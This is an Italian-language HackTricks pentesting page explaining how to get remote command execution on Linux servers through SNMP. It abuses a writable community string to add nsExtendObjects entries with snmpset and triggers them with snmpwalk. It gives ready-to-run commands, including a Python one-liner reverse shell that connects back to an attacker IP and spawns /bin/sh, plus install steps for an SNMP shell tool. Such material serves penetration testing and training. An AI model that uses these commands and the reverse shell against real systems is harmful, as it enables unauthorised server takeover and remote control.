hacktricks/network-services-pentesting/pentesting-snmp/snmp-rce.md

73 lines
5.1 KiB
Markdown

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# SNMP RCE
SNMP può essere sfruttato da un attaccante se l'amministratore ignora la sua configurazione predefinita sul dispositivo o server. Abusando della comunità SNMP con permessi di scrittura (rwcommunity) su un sistema operativo Linux, l'attaccante può eseguire comandi sul server.
## Estensione dei Servizi con Comandi Aggiuntivi
Per estendere i servizi SNMP e aggiungere comandi extra, è possibile aggiungere nuove **righe alla tabella "nsExtendObjects"**. Questo può essere realizzato utilizzando il comando `snmpset` e fornendo i parametri necessari, incluso il percorso assoluto all'eseguibile e il comando da eseguire:
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
```
## Iniezione di Comandi per Esecuzione
L'iniezione di comandi da eseguire sul servizio SNMP richiede l'esistenza e l'eseguibilità del binario/script chiamato. Il **`NET-SNMP-EXTEND-MIB`** richiede di fornire il percorso assoluto all'eseguibile.
Per confermare l'esecuzione del comando iniettato, il comando `snmpwalk` può essere utilizzato per enumerare il servizio SNMP. **L'output mostrerà il comando e i suoi dettagli associati**, incluso il percorso assoluto:
```bash
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
```
## Esecuzione dei Comandi Iniettati
Quando il **comando iniettato viene letto, viene eseguito**. Questo comportamento è noto come **`run-on-read()`**. L'esecuzione del comando può essere osservata durante la lettura di snmpwalk.
### Ottenere una Shell del Server con SNMP
Per ottenere il controllo sul server e ottenere una shell del server, può essere utilizzato uno script python sviluppato da mxrch da [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git).
In alternativa, una reverse shell può essere creata manualmente iniettando un comando specifico in SNMP. Questo comando, attivato da snmpwalk, stabilisce una connessione di reverse shell alla macchina dell'attaccante, consentendo il controllo sulla macchina della vittima. Puoi installare i prerequisiti per eseguire questo:
```bash
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
```
O una reverse shell:
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
```
## Riferimenti
* [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Supporta HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}